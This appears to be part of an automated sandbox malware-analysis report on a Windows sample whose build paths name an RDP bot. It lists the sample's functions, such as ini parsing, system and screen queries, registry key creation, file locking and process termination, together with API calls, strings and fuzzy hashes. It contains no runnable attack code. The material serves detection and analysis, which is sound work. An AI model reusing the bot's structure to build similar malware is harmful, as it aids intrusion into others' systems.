API ID: Heap$strncpy$Process_errno$AllocFreefflushfopenfseekfwrite
String ID: (path != NULL)$5$H:/Projects/rdp/bot/codebase/ini.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(path=%s)$ini_load$mem_alloc
API String ID: 1423203057-3539035513
Opcode ID: aa4d9cc00176d7a57371ed8f69fdf9031eaa5487daa49c4f6a7fa1dc826dc5fa
Instruction ID: f92ce2b78bdb6d3fb8958b37c3c8eb9350aed0a2fc7240df2e92a08107402e3e
Opcode Fuzzy Hash: aa4d9cc00176d7a57371ed8f69fdf9031eaa5487daa49c4f6a7fa1dc826dc5fa
Instruction Fuzzy Hash: FDA1CD62B0DA8291FE609B89E8607B96B51AF54BC4F488032EF4D4BB95DE7DF546C300

Function 00007FF8BFB54088 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 191COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00007FF8BFB540B9
GetSystemMetrics.USER32 ref: 00007FF8BFB540CE
GetLastError.KERNEL32 ref: 00007FF8BFB540DF

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

GetLastError.KERNEL32 ref: 00007FF8BFB541DC

Strings

H:/Projects/rdp/bot/codebase/sys.c, xrefs: 00007FF8BFB54129, 00007FF8BFB54159, 00007FF8BFB54189
(height != NULL), xrefs: 00007FF8BFB54130
[E] (%s) -> GetSystemMetrics(SM_CYSCREEN) failed(gle=%lu), xrefs: 00007FF8BFB541EF
[E] (%s) -> GetSystemMetrics(SM_CXSCREEN) failed(gle=%lu), xrefs: 00007FF8BFB540F2
(width != NULL), xrefs: 00007FF8BFB54160
c, xrefs: 00007FF8BFB54181
(ratio != NULL), xrefs: 00007FF8BFB54190
sys_screen_info, xrefs: 00007FF8BFB540EB, 00007FF8BFB54137, 00007FF8BFB54167, 00007FF8BFB54197, 00007FF8BFB541E8
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB5413E, 00007FF8BFB5416E, 00007FF8BFB5419E

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastMetricsSystem$fflushfwrite
String ID: (height != NULL)$(ratio != NULL)$(width != NULL)$H:/Projects/rdp/bot/codebase/sys.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> GetSystemMetrics(SM_CXSCREEN) failed(gle=%lu)$[E] (%s) -> GetSystemMetrics(SM_CYSCREEN) failed(gle=%lu)$c$sys_screen_info
API String ID: 144387239-4168848430
Opcode ID: ace749d326b6e2610a0a50e090a0a54db6a09221becd43ceb88e30b1573064ce
Instruction ID: 34b62c56a0c401493c8b4e2d28fef3c0e606e5822e88daad61c80f1847e10034
Opcode Fuzzy Hash: ace749d326b6e2610a0a50e090a0a54db6a09221becd43ceb88e30b1573064ce
Instruction Fuzzy Hash: 6E714E61F1C547D6FB6897CDA8323786B956F643C8F044032D70E8A6A4DEADF998C341

Function 00007FF8BFB594F4 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 116registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32 ref: 00007FF8BFB5954C
RegCloseKey.ADVAPI32 ref: 00007FF8BFB59571

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB595B6, 00007FF8BFB595E6
[I] (%s) -> Done(root=0x%p,key=%s), xrefs: 00007FF8BFB59588
registry_create_key, xrefs: 00007FF8BFB59581, 00007FF8BFB595AF, 00007FF8BFB595DF, 00007FF8BFB59611, 00007FF8BFB59642
[E] (%s) -> Failed(root=0x%p,key=%s,err=%08x), xrefs: 00007FF8BFB59618
[E] (%s) -> RegCreateKeyExA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8BFB59649
(key != NULL), xrefs: 00007FF8BFB595D8
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8BFB595A1, 00007FF8BFB595D1
?, xrefs: 00007FF8BFB59530
NULL, xrefs: 00007FF8BFB596F6
(root != NULL), xrefs: 00007FF8BFB595A8

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: CloseCreate
String ID: (key != NULL)$(root != NULL)$?$H:/Projects/rdp/bot/codebase/registry.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,err=%08x)$[E] (%s) -> RegCreateKeyExA failed(root=0x%p,key=%s,res=%lu)$[I] (%s) -> Done(root=0x%p,key=%s)$registry_create_key
API String ID: 2932200918-412249795
Opcode ID: 8449c3d8bed7d6e30d06613ddc14b67a39feaac4f3edd286ae77be3f02f688a0
Instruction ID: 40b5e49d425f11083cda17c3dc7d1d3ef02c59c16e23498b5745995ab98502af
Opcode Fuzzy Hash: 8449c3d8bed7d6e30d06613ddc14b67a39feaac4f3edd286ae77be3f02f688a0
Instruction Fuzzy Hash: 6251AC62E0C69391FB308B9CE9607B9A390AF047D4F481132DF9D576A8DE2CFD988741

Function 00007FF8BFB57815 Relevance: 19.6, APIs: 4, Strings: 9, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8BFB57840
strlen.MSVCRT ref: 00007FF8BFB57869
strlen.MSVCRT ref: 00007FF8BFB57875
strlen.MSVCRT ref: 00007FF8BFB5788B

Strings

((*path_sz) > 0), xrefs: 00007FF8BFB57925
NULL, xrefs: 00007FF8BFB5799F
[I] (%s) -> Done(path=%s,path_sz=%llu), xrefs: 00007FF8BFB578A0
fs_path_temp, xrefs: 00007FF8BFB57899, 00007FF8BFB578CC, 00007FF8BFB578FC, 00007FF8BFB5792C, 00007FF8BFB57966
(path != NULL), xrefs: 00007FF8BFB578C5
[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x), xrefs: 00007FF8BFB5796D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB578D3, 00007FF8BFB57903, 00007FF8BFB57933
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB578BE, 00007FF8BFB578EE, 00007FF8BFB5791E
(path_sz != NULL), xrefs: 00007FF8BFB578F5

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: strlen
String ID: ((*path_sz) > 0)$(path != NULL)$(path_sz != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,path_sz=%llu)$fs_path_temp
API String ID: 39653677-3852240402
Opcode ID: 38522c53b2a05fefa3dbf257f3564a5f1986d57605e009d13c0039893290e6b1
Instruction ID: 2a58d6cb86c8586f2f43b78f5baaa09f3108c28ad2397ab0c14c096d8cdfbe18
Opcode Fuzzy Hash: 38522c53b2a05fefa3dbf257f3564a5f1986d57605e009d13c0039893290e6b1
Instruction Fuzzy Hash: 79417E61A0DA8B61FB109F9DE4207B8B752BF407C4F984132DB8E0B696DE3DE55AC340

Function 00007FF8BFB58C31 Relevance: 19.6, APIs: 6, Strings: 7, Instructions: 89memorystringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8BFB58CF6
GetProcessHeap.KERNEL32 ref: 00007FF8BFB58D04
HeapAlloc.KERNEL32 ref: 00007FF8BFB58D15
strlen.MSVCRT ref: 00007FF8BFB58D33
GetProcessHeap.KERNEL32 ref: 00007FF8BFB58D61
HeapFree.KERNEL32 ref: 00007FF8BFB58D72

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB58CAB, 00007FF8BFB58CDB
(buf != NULL), xrefs: 00007FF8BFB58C9D
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB58C96, 00007FF8BFB58CC6
(buf_sz != NULL), xrefs: 00007FF8BFB58CCD
ini_get_bytes, xrefs: 00007FF8BFB58CA4, 00007FF8BFB58CD4
mem_alloc, xrefs: 00007FF8BFB58D80
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB58D87

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Heap$Processstrlen$AllocFree
String ID: (buf != NULL)$(buf_sz != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Memory allocation failed(size=%llu)$ini_get_bytes$mem_alloc
API String ID: 1318626975-3508512667
Opcode ID: 486d9d8cd7400a46774a7d5ec7d34aa6c419ad910dcea3cbc941c0966a8d206d
Instruction ID: d2ad5d48dcdeb526be765cb25860c1d8c112c6b576f6112c802a04bbaf387efa
Opcode Fuzzy Hash: 486d9d8cd7400a46774a7d5ec7d34aa6c419ad910dcea3cbc941c0966a8d206d
Instruction Fuzzy Hash: 71318E61A0EA47A5FA519FD9A8207B9B3A0AF40BC4F485031DF4E17B95DF3CF9568380

Function 00007FF8BFB57495 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 113fileCOMMON

Download Yara Rule

APIs

UnlockFileEx.KERNEL32 ref: 00007FF8BFB574DD
CloseHandle.KERNEL32 ref: 00007FF8BFB574EE

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

GetLastError.KERNEL32 ref: 00007FF8BFB575A4

Strings

[I] (%s) -> Done(lock=%p), xrefs: 00007FF8BFB574FE
((*lock) != INVALID_HANDLE_VALUE), xrefs: 00007FF8BFB57556
(lock != NULL), xrefs: 00007FF8BFB57525
[E] (%s) -> UnlockFileEx failed(hnd=%p,gle=%lu), xrefs: 00007FF8BFB575B9
fs_file_unlock, xrefs: 00007FF8BFB574F7, 00007FF8BFB5752C, 00007FF8BFB5755D, 00007FF8BFB57588, 00007FF8BFB575B2
[E] (%s) -> Failed(lock=%p,err=%08x), xrefs: 00007FF8BFB5758F
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB57533, 00007FF8BFB57564
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB5751E, 00007FF8BFB5754F

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: CloseErrorFileHandleLastUnlockfflushfwrite
String ID: ((*lock) != INVALID_HANDLE_VALUE)$(lock != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(lock=%p,err=%08x)$[E] (%s) -> UnlockFileEx failed(hnd=%p,gle=%lu)$[I] (%s) -> Done(lock=%p)$fs_file_unlock
API String ID: 497672076-345319545
Opcode ID: d63bbd13eff69c04316dcb5a6a255e5cf3d25b2eb49312f28a747831b048db1c
Instruction ID: 38ed0b3c24f97fa1d647c021c49c506ffb2e170f8bf8469dddb672addfe7cf9b
Opcode Fuzzy Hash: d63bbd13eff69c04316dcb5a6a255e5cf3d25b2eb49312f28a747831b048db1c
Instruction Fuzzy Hash: 64413D61F0C54BD1FA248B9DF960AB86750EF507D8F244232DB1E176E4EE6CF9858701

Function 00007FF8BFB53F02 Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 80COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 00007FF8BFB53F25
GetLastError.KERNEL32 ref: 00007FF8BFB53F6C

Strings

H:/Projects/rdp/bot/codebase/sys.c, xrefs: 00007FF8BFB53F44
P, xrefs: 00007FF8BFB53FEF
[E] (%s) -> GlobalMemoryStatusEx failed(gle=%lu), xrefs: 00007FF8BFB53F7E
~, xrefs: 00007FF8BFB53FEA
(mi != NULL), xrefs: 00007FF8BFB53F4B
sys_mem_info, xrefs: 00007FF8BFB53F52, 00007FF8BFB53F77
, xrefs: 00007FF8BFB53F8A
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB53F59
;, xrefs: 00007FF8BFB53F3C

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorGlobalLastMemoryStatus
String ID: $(mi != NULL)$;$H:/Projects/rdp/bot/codebase/sys.c$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> GlobalMemoryStatusEx failed(gle=%lu)$sys_mem_info$~
API String ID: 3848946878-1815531218
Opcode ID: 7d5aebcb42e40b36646edad5963f267819099b87d91964b5685cf8d60b2208d5
Instruction ID: b23ce27a909b7122c9f53e0161b83f0f15523479d8c79847422726f144de3fff
Opcode Fuzzy Hash: 7d5aebcb42e40b36646edad5963f267819099b87d91964b5685cf8d60b2208d5
Instruction Fuzzy Hash: 7C312E12E1E38782FB2497DC94B03BC63619F55388F685132D70E06291DF6EF9E6D602

Function 00007FF8BFB56B55 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 161fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF8BFB56B9B
GetFileSize.KERNEL32 ref: 00007FF8BFB56BBE
CloseHandle.KERNEL32 ref: 00007FF8BFB56BE0
GetLastError.KERNEL32 ref: 00007FF8BFB56C66
GetLastError.KERNEL32 ref: 00007FF8BFB56D2C

Strings

fs_file_size, xrefs: 00007FF8BFB56C1C, 00007FF8BFB56C4C
(path != NULL), xrefs: 00007FF8BFB56C15
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB56C0E, 00007FF8BFB56C3E
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB56C23, 00007FF8BFB56C53
(size != NULL), xrefs: 00007FF8BFB56C45

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleSize
String ID: (path != NULL)$(size != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_file_size
API String ID: 3555958901-3761180060
Opcode ID: 8ed85f3a823fb0401711bed7f93783fe5b2ffe5315476a1ad81378396d65e5d0
Instruction ID: ecab3fd5d29b6702d10663b8b05bcbb27f5ba5bcee5d25009b4e1e0b69c96630
Opcode Fuzzy Hash: 8ed85f3a823fb0401711bed7f93783fe5b2ffe5315476a1ad81378396d65e5d0
Instruction Fuzzy Hash: CA615F95E2C16782F77047DCE4653B863529F003E8F29463ACB1E9B6D0DE2DBC859382

Function 00007FF8BFB57C92 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 73COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF8BFB57CC1
GetLastError.KERNEL32 ref: 00007FF8BFB57CCC

Strings

fs_module_path, xrefs: 00007FF8BFB57CE4, 00007FF8BFB57D1D, 00007FF8BFB57D51, 00007FF8BFB57D81, 00007FF8BFB57DB4
(hnd != NULL), xrefs: 00007FF8BFB57D4A
[E] (%s) -> Failed(hnd=0x%p,err=%08x), xrefs: 00007FF8BFB57D24
(path != NULL), xrefs: 00007FF8BFB57D7A
[E] (%s) -> GetModuleFileNameA failed(hnd=0x%p,gle=%lu), xrefs: 00007FF8BFB57CEB
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB57D58, 00007FF8BFB57D88, 00007FF8BFB57DBB
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB57D43, 00007FF8BFB57D73, 00007FF8BFB57DA6
(path_sz != NULL), xrefs: 00007FF8BFB57DAD

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: (hnd != NULL)$(path != NULL)$(path_sz != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(hnd=0x%p,err=%08x)$[E] (%s) -> GetModuleFileNameA failed(hnd=0x%p,gle=%lu)$fs_module_path
API String ID: 2776309574-787847008
Opcode ID: 32b99ea24dc9d0ee07b2fd236634eb675507722fcaec698bfe31318cc9cdeac0
Instruction ID: 7f9d63f7261e4cbebac676d22ea9f5170cbbbf14653f9c15f626dc0739e3b4b6
Opcode Fuzzy Hash: 32b99ea24dc9d0ee07b2fd236634eb675507722fcaec698bfe31318cc9cdeac0
Instruction Fuzzy Hash: 463141A2B18A4B61FB108B9CE9207B47350BF107C8F941131DB4E476A1EE7CF955C780

Function 00007FF8BFB587C0 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 70stringCOMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF8BFB5885E
strtol.MSVCRT ref: 00007FF8BFB58874
_errno.MSVCRT ref: 00007FF8BFB5887C
_errno.MSVCRT ref: 00007FF8BFB58884

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB58844
(value != NULL), xrefs: 00007FF8BFB58836
ini_get_uint16, xrefs: 00007FF8BFB5883D, 00007FF8BFB588A5
[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF8BFB588AC
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB5882F

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: _errno$strtol
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint16
API String ID: 3596500743-1951032453
Opcode ID: 2f5494c49b798f33c18bb42bf049c878fcc72d8fb29e1a49407fdbb2030ba05b
Instruction ID: 117a02d20861d4cd56763d7baae97ac150437f21991e8ef8cbd511893c0f1706
Opcode Fuzzy Hash: 2f5494c49b798f33c18bb42bf049c878fcc72d8fb29e1a49407fdbb2030ba05b
Instruction Fuzzy Hash: B1217A22A08647A2F7519B99E850BAAB761FB447C8F445132EF4C4BB65DF3CE896C700

Function 00007FF8BFB51B6A Relevance: 15.1, APIs: 6, Strings: 4, Instructions: 148stringmemoryCOMMON

Download Yara Rule

APIs

strcpy.MSVCRT ref: 00007FF8BFB51BB0
strlen.MSVCRT ref: 00007FF8BFB51BDF
GetProcessHeap.KERNEL32 ref: 00007FF8BFB51C83
HeapFree.KERNEL32 ref: 00007FF8BFB51C94
strlen.MSVCRT ref: 00007FF8BFB51CE6
strcmp.MSVCRT ref: 00007FF8BFB51D07

Strings

-RGMLWD-, xrefs: 00007FF8BFB51D39
(, xrefs: 00007FF8BFB51D29
exe, xrefs: 00007FF8BFB51D00
ORRE, xrefs: 00007FF8BFB51D31

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Heapstrlen$FreeProcessstrcmpstrcpy
String ID: ($-RGMLWD-$ORRE$exe
API String ID: 173675053-901114122
Opcode ID: 2a18ed06137615cc2e3be02c7ef5ccd0eec216c6ef9130008c554d3555423c7b
Instruction ID: 8a36271abc26bc418c0f818f00dd255618f89af40e5d373b805e241948305869
Opcode Fuzzy Hash: 2a18ed06137615cc2e3be02c7ef5ccd0eec216c6ef9130008c554d3555423c7b
Instruction Fuzzy Hash: A851E572A0C74652EB509BA9E4703BAA751EB447C4F540031EB8E4BAD5EF3DF9448740

Function 00007FF8BFB5B4D4 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 64stringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF8BFB5B3E9
Process32Next.KERNEL32 ref: 00007FF8BFB5B3FF
strcmp.MSVCRT ref: 00007FF8BFB5B441
OpenProcess.KERNEL32 ref: 00007FF8BFB5B459
TerminateProcess.KERNEL32 ref: 00007FF8BFB5B473
GetLastError.KERNEL32 ref: 00007FF8BFB5B481
GetLastError.KERNEL32 ref: 00007FF8BFB5B658

Strings

process_kill, xrefs: 00007FF8BFB5B48C
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF8BFB5B493

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastProcess$CloseHandleNextOpenProcess32Terminatestrcmp
